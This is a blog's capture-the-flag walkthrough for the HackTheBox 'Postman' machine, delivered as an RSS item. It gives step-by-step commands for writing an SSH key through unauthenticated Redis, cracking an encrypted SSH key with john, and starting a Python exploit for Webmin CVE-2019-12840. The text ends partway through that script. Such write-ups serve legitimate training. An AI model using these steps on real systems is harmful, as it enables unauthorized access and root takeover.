<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Webmin on</title><link>https://h4r1337.github.io/tags/webmin/</link><description>Recent content in Webmin on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Wed, 24 Jun 2026 18:14:09 +0530</lastBuildDate><atom:link href="https://h4r1337.github.io/tags/webmin/index.xml" rel="self" type="application/rss+xml"/><item><title>Postman | HackTheBox</title><link>https://h4r1337.github.io/posts/postman/</link><pubDate>Wed, 24 Jun 2026 18:14:09 +0530</pubDate><guid>https://h4r1337.github.io/posts/postman/</guid><description>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Postman">Postman&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Easy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Linux&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Maker&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/114053">&lt;img src="https://www.hackthebox.com/badge/image/114053" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Postman
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Postman is an easy difficulty Linux machine, which features a Redis server running without authentication. This service can be leveraged to write an SSH public key to the user's folder. An encrypted SSH private key is found, which can be cracked to gain user access. The user is found to have a login for an older version of Webmin. This is exploited through command injection to gain root privileges.&lt;/p></description><content>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Postman">Postman&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Easy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Linux&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Maker&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/114053">&lt;img src="https://www.hackthebox.com/badge/image/114053" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Postman
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Postman is an easy difficulty Linux machine, which features a Redis server running without authentication. This service can be leveraged to write an SSH public key to the user's folder. An encrypted SSH private key is found, which can be cracked to gain user access. The user is found to have a login for an older version of Webmin. This is exploited through command injection to gain root privileges.&lt;/p>
&lt;/div>
&lt;/div>
&lt;script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
&lt;/script>
&lt;hr>
&lt;h2 id="information-gathering">Information Gathering&lt;/h2>
&lt;p>Scanned all TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nmap -p- --min-rate &lt;span style="color:#d3869b">5000&lt;/span> -vv $IP -oA recon/nmap/ports
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.2.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up, received echo-reply ttl &lt;span style="color:#d3869b">63&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>0.19s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Not shown: &lt;span style="color:#d3869b">65524&lt;/span> closed tcp ports &lt;span style="color:#fe8019">(&lt;/span>reset&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>22/tcp open ssh syn-ack ttl &lt;span style="color:#d3869b">63&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http syn-ack ttl &lt;span style="color:#d3869b">63&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>6379/tcp open redis syn-ack ttl &lt;span style="color:#d3869b">63&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>10000/tcp open snet-sensor-mgmt syn-ack ttl &lt;span style="color:#d3869b">63&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>25716/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>37347/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>40361/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>43249/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>54381/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>58441/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>62883/tcp filtered unknown no-response
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Enumerated open TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -p22,80,6379,10000 -sC -sV --min-rate &lt;span style="color:#d3869b">5000&lt;/span> $IP -oA recon/nmap/service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.2.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up, received echo-reply ttl &lt;span style="color:#d3869b">63&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>0.29s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON VERSION
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>22/tcp open ssh syn-ack ttl &lt;span style="color:#d3869b">63&lt;/span> OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 &lt;span style="color:#fe8019">(&lt;/span>Ubuntu Linux; protocol 2.0&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssh-hostkey:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#d3869b">2048&lt;/span> 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 &lt;span style="color:#fe8019">(&lt;/span>RSA&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#d3869b">256&lt;/span> 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 &lt;span style="color:#fe8019">(&lt;/span>ECDSA&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI&lt;span style="color:#fe8019">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#d3869b">256&lt;/span> ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 &lt;span style="color:#fe8019">(&lt;/span>ED25519&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http syn-ack ttl &lt;span style="color:#d3869b">63&lt;/span> Apache httpd 2.4.29 &lt;span style="color:#fe8019">((&lt;/span>Ubuntu&lt;span style="color:#fe8019">))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| http-methods:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Supported Methods: OPTIONS HEAD GET POST
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: The Cyber Geek&lt;span style="color:#b8bb26">&amp;#39;s Personal Website
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">|_http-server-header: Apache/2.4.29 (Ubuntu)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#b8bb26">|_http-title: Site doesn&amp;#39;&lt;/span>t have a title &lt;span style="color:#fe8019">(&lt;/span>text/html; Charset&lt;span style="color:#fe8019">=&lt;/span>iso-8859-1&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| http-methods:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: MiniServ/1.910
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="enumeration">Enumeration&lt;/h2>
&lt;h3 id="port-80---http-apache">Port 80 - HTTP (Apache)&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260611180327.webp">&lt;/figure>
&lt;p>Directory listing is enabled&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260611180555.webp">&lt;/figure>
&lt;p>But nothing else&amp;hellip;&lt;/p>
&lt;h3 id="port-10000---http-miniserv-1910">Port 10000 - HTTP (MiniServ &lt;code>1.910&lt;/code>)&lt;/h3>
&lt;p>Landing page is redirecting to https&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260611182054.webp">&lt;/figure>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260611182130.webp">&lt;/figure>
&lt;p>After some searching, found out that this version is vulnerable to &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2019-12840">&lt;code>CVE-2019-12840&lt;/code>&lt;/a>, but it requires credentials. Default credentials are not working either. Moving to next port.&lt;/p>
&lt;h3 id="port-6379---redis-409">Port 6379 - Redis &lt;code>4.0.9&lt;/code>&lt;/h3>
&lt;p>We can access redis without credentials:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>nc -v $IP &lt;span style="color:#d3869b">6379&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic"># To list all configurations&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config get *
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624141442.webp">&lt;/figure>
&lt;p>The &lt;code>dir&lt;/code> variable stores the value of the user directory of the service:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>config get dir
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624141634.webp">&lt;/figure>
&lt;p>We are in &lt;code>/var/lib/redis&lt;/code>. We can try to &lt;a href="https://hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html#ssh">write an ssh key&lt;/a> to &lt;code>/var/lib/redis/.ssh/authorized_keys&lt;/code> to get ssh access as the &lt;code>redis&lt;/code> user.&lt;/p>
&lt;hr>
&lt;h2 id="exploitation">Exploitation&lt;/h2>
&lt;h3 id="ssh-as-redis-user">SSH as &lt;code>redis&lt;/code> user&lt;/h3>
&lt;p>First create a new ssh key pair:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ssh-keygen -f redis
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624143242.webp">&lt;/figure>
&lt;p>Add padding to the public key&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">echo&lt;/span> -e &lt;span style="color:#b8bb26">&amp;#39;\n\n&amp;#39;&lt;/span>;cat redis.pub;&lt;span style="color:#fabd2f">echo&lt;/span> -e &lt;span style="color:#b8bb26">&amp;#39;\n\n&amp;#39;&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &amp;gt; spaced_key.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624143317.webp">&lt;/figure>
&lt;p>Set ssh_key value to the public key&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>cat spaced_key.txt| redis-cli -h 10.129.174.184 -x &lt;span style="color:#fabd2f">set&lt;/span> ssh_key
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624143437.webp">&lt;/figure>
&lt;p>Set &lt;code>dir&lt;/code> to &lt;code>/var/lib/redis/.ssh&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>config &lt;span style="color:#fabd2f">set&lt;/span> dir &lt;span style="color:#b8bb26">&amp;#34;/var/lib/redis/.ssh&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624143533.webp">&lt;/figure>
&lt;p>And update the &lt;code>dbfilename&lt;/code> to &lt;code>authorized_keys&lt;/code> then save.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>config &lt;span style="color:#fabd2f">set&lt;/span> dbfilename &lt;span style="color:#b8bb26">&amp;#34;authorized_keys&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>save
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624143719.webp">&lt;/figure>
&lt;p>Now let&amp;rsquo;s try to login using the private key&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic"># Set appropriate permission for the private key &lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chmod &lt;span style="color:#d3869b">600&lt;/span> redis
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic"># Login&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ssh redis@$IP -i redis
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624143751.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="lateral-movement-to-user">Lateral Movement to user&lt;/h2>
&lt;h3 id="local-enumeration">Local Enumeration&lt;/h3>
&lt;p>There&amp;rsquo;s some content in the history file of redis user:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624144121.webp">&lt;/figure>
&lt;p>Based on the commands there should be a &lt;code>id_rsa.bak&lt;/code> file somewhere. We can search it using &lt;code>find&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>find / -type f -iname &lt;span style="color:#b8bb26">&amp;#39;*.bak&amp;#39;&lt;/span> -exec ls -alp &lt;span style="color:#fe8019">{}&lt;/span> &lt;span style="color:#b8bb26">\;&lt;/span> 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624144637.webp">&lt;/figure>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>cat /opt/id_rsa.bak
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624144723.webp">&lt;/figure>
&lt;h3 id="lateral-movement-as-user-matt">Lateral Movement as user &lt;code>Matt&lt;/code>&lt;/h3>
&lt;p>The ssh key is encrypted.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624145513.webp">&lt;/figure>
&lt;p>We can crack it using john:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ssh2john id_rsa &amp;gt; hash.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624145828.webp">&lt;/figure>
&lt;p>Cracking the hash:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>john hash.txt --wordlist&lt;span style="color:#fe8019">=&lt;/span>/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624145908.webp">&lt;/figure>
&lt;p>But we don&amp;rsquo;t have a username. Usually we can dump the public key associated with a private key using the &lt;code>-y&lt;/code> flag in &lt;code>ssh-keygen&lt;/code>, but in this case the public key didn&amp;rsquo;t contain any username:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624150115.webp">&lt;/figure>
&lt;p>From the command history and &lt;code>/etc/passwd&lt;/code> we can assume that the user might be &lt;code>Matt&lt;/code> and try to login as this user and see if it works or not.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624150032.webp">&lt;/figure>
&lt;p>But it failed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ssh Matt@$IP -i id_rsa
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624160752.webp">&lt;/figure>
&lt;p>I checked the &lt;code>/etc/ssh/sshd_config&lt;/code> file and saw that we don&amp;rsquo;t have access to ssh as &lt;code>Matt&lt;/code> user:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624160913.webp">&lt;/figure>
&lt;p>Then I checked if the &lt;code>Matt&lt;/code> user have the same password as the passphrase of the ssh key, and it worked:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624161124.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;h3 id="local-enumeration-1">Local Enumeration&lt;/h3>
&lt;p>User &lt;code>Matt&lt;/code> don&amp;rsquo;t have sudo privileges:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>sudo -l
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624161336.webp">&lt;/figure>
&lt;p>Also there are no useful suid binaries:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>find / -type f -perm -u&lt;span style="color:#fe8019">=&lt;/span>s 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624161435.webp">&lt;/figure>
&lt;p>I tried to list the running processes and saw that the miniserv service is running as root:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ps -eaf --forest
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624161549.webp">&lt;/figure>
&lt;p>We already found that this version is vulnerable to &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2019-12840">CVE-2019-12840&lt;/a> but we need working credentials. We can check the &lt;code>/etc/webmin/&lt;/code> directory for config files. But the main config file is only readable by the root user:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>find . -readable -type f 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624162343.webp">&lt;/figure>
&lt;p>And the above &lt;code>config&lt;/code> file doesn&amp;rsquo;t have any credential:&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624162553.webp">&lt;/figure>
&lt;p>But anyway, we can try the credentials of &lt;code>Matt&lt;/code> and see if it is working or not&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624162752.webp">&lt;/figure>
&lt;p>And it worked!&lt;/p>
&lt;h3 id="privilege-escalation---cve-2019-12840">Privilege Escalation - &lt;code>CVE-2019-12840&lt;/code>&lt;/h3>
&lt;blockquote>
&lt;p>In Webmin through 1.910, any user authorized to the &amp;ldquo;Package Updates&amp;rdquo; module can execute arbitrary commands with root privileges via the data parameter to update.cgi.&lt;/p>
&lt;/blockquote>
&lt;p>I created a python script to exploit this referring this exploit found on &lt;a href="https://github.com/zAbuQasem/CVE-2019-12840/blob/main/exploit.py">github&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">import&lt;/span> requests
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">from&lt;/span> optparse &lt;span style="color:#fe8019">import&lt;/span> OptionParser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">import&lt;/span> base64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">from&lt;/span> urllib3.util &lt;span style="color:#fe8019">import&lt;/span> retry
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
